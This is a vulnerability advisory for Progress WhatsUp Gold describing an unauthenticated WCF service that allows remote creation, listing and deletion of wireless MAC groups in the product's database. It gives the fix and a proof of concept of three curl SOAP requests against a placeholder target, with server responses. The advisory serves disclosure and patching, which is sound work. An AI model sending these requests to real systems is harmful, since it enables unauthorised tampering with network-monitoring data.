Synopsis
A database manipulation vulnerability exists in Progress WhatsUp Gold (WUG). NmConfigurationManager.exe in WUG is a Windows Communication Foundation (WCF) application. It implements a service contract for IWirelessAPIConfiguration that allows unauthenticated access. An unauthenticated remote attacker can add, view, and delete wireless MAC groups used in WUG. The MAC group manipulation affects associated tables (i.e., WhatsUp.dbo.WrlsMacAddressGroup) in the WUG database and the WUG web GUI that interacts with the database.
Solution
Upgrade to version v24.0.3 or later.
Proof of Concept
curl -sk -H 'Content-Type:text/xml' -H 'SOAPAction:<http://www.ipswitch.com/WirelessAPIConfiguration/IWirelessAPIConfiguration/CreateMACGroup'> -d '<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><CreateMACGroup xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"><groupName>Group123</groupName><groupDescription>GroupDescription</groupDescription></CreateMACGroup></s:Body></s:Envelope>' '<http://<target-host>>:9719/NmWireless/WirelessAPIConfiguration'
<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><CreateMACGroupResponse xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"><CreateMACGroupResult>1</CreateMACGroupResult></CreateMACGroupResponse></s:Body></s:Envelope>
# call FetchAllGroupsWithNonMACEntries(); fetch rows in WhatsUp.dbo.WrlsMacAddressGroup
curl -sk -H 'Content-Type:text/xml' -H 'SOAPAction: <http://www.ipswitch.com/WirelessAPIConfiguration/IWirelessAPIConfiguration/FetchAllGroupsWithNonMACEntries'> -d '<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><FetchAllGroupsWithNonMACEntries xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"/></s:Body></s:Envelope>' '<http://<target-host>>:9719/NmWireless/WirelessAPIConfiguration'
<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><FetchAllGroupsWithNonMACEntriesResponse xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"><FetchAllGroupsWithNonMACEntriesResult xmlns:a="<http://schemas.datacontract.org/2004/07/NmContracts.Wireless>" xmlns:i="<http://www.w3.org/2001/XMLSchema-instance>"><a:EntityWirelessMACGroup><a:Entries i:nil="true"/><a:GroupDescription>GroupDescription</a:GroupDescription><a:GroupDisplayName>Group123</a:GroupDisplayName><a:GroupID>1</a:GroupID></a:EntityWirelessMACGroup></FetchAllGroupsWithNonMACEntriesResult></FetchAllGroupsWithNonMACEntriesResponse></s:Body></s:Envelope>
# call RemoveMACGroups() to remove the group with ID of 1; delete a row in WhatsUp.dbo.WrlsMacAddressGroup
curl -ski -H 'Content-Type:text/xml' -H 'SOAPAction: <http://www.ipswitch.com/WirelessAPIConfiguration/IWirelessAPIConfiguration/RemoveMACGroups'> -d '<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><RemoveMACGroups xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"><groupIDs><int xmlns="<http://schemas.microsoft.com/2003/10/Serialization/Arrays>">1</int></groupIDs></RemoveMACGroups></s:Body></s:Envelope>' '<http://<target-host>>:9719/NmWireless/WirelessAPIConfiguration'
<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><RemoveMACGroupsResponse xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"/></s:Body></s:Envelope>
Additional References
https://docs.progress.com/bundle/whatsupgold-release-notes-24-0/page/WhatsUp-Gold-2024.0-Release-Notes.htmlDisclosure Timeline
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